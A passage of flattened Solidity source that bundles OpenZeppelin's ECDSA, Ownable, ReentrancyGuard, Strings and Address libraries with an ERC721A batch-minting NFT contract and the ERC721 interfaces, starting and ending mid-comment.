https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); uint8 v = uint8((uint256(vs) >> 255) + 27); return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Assumes the number of issuable tokens (collection size) is capped and fits in a uint128. * * Does not support burning tokens to address(0). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; bool burned; } struct AddressData { uint64 balance; uint64 numberMinted; uint64 numberBurned; } uint256 private _currentIndex; uint128 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. * `maxBatchSize` refers to how much a minter can mint at a time. * `collectionSize_` refers to how many tokens are in the collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _currentIndex = 0; _burnCounter = 0; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex times unchecked { return _currentIndex - _burnCounter; } } /** * @dev See {IERC721Enumerable-tokenByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenByIndex(uint256 index) public view override returns (uint256) { uint256 numMintedSoFar = _currentIndex; uint256 tokenIdsIdx; // Counter overflow is impossible as the loop breaks when // uint256 i is equal to another uint256 numMintedSoFar. unchecked { for (uint256 i; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (!ownership.burned) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } } revert("token of owner out of index"); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "owner index out of bounds"); uint256 numMintedSoFar = _currentIndex; uint256 tokenIdsIdx; address currOwnershipAddr; // Counter overflow is impossible as the loop breaks when // uint256 i is equal to another uint256 numMintedSoFar. unchecked { for (uint256 i; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.burned) { continue; } if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } } // Execution should never reach this point. revert("token of owner out of index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "balance query for the 0 address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require(owner != address(0), "minted query for 0 address"); return uint256(_addressData[owner].numberMinted); } function _numberBurned(address owner) internal view returns (uint256) { require(owner != address(0), "burned query for 0 address"); return uint256(_addressData[owner].numberBurned); } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert("unable to determine the owner"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "approve caller not owner/approved" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "approved query for nonexistent"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "transfer to non ERC721Receiver" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < _currentIndex && !_ownerships[tokenId].burned; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; require(to != address(0), "mint to the zero address"); require(quantity != 0, "quantity must be > than 0"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1 // updatedIndex overflows if _currentIndex + quantity > 3.4e38 (2**128) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; for (uint256 i; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); if (safe) { require( _checkOnERC721Received( address(0), to, updatedIndex, _data ), "transfer to non ERC721Receiver" ); } updatedIndex++; } _currentIndex = uint128(updatedIndex); } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || isApprovedForAll(prevOwnership.addr, _msgSender()) || getApproved(tokenId) == _msgSender()); require(isApprovedOrOwner, "transfer isn't owner/approved"); require(prevOwnership.addr == from, "transfer from incorrect owner"); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**128. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId].addr = to; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership .startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { TokenOwnership memory prevOwnership = ownershipOf(tokenId); _beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**128. unchecked { _addressData[prevOwnership.addr].balance -= 1; _addressData[prevOwnership.addr].numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. _ownerships[tokenId].addr = prevOwnership.addr; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); _ownerships[tokenId].burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership .startTimestamp; } } } emit Transfer(prevOwnership.addr, address(0), tokenId); _afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("transfer to non ERC721Receiver"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring 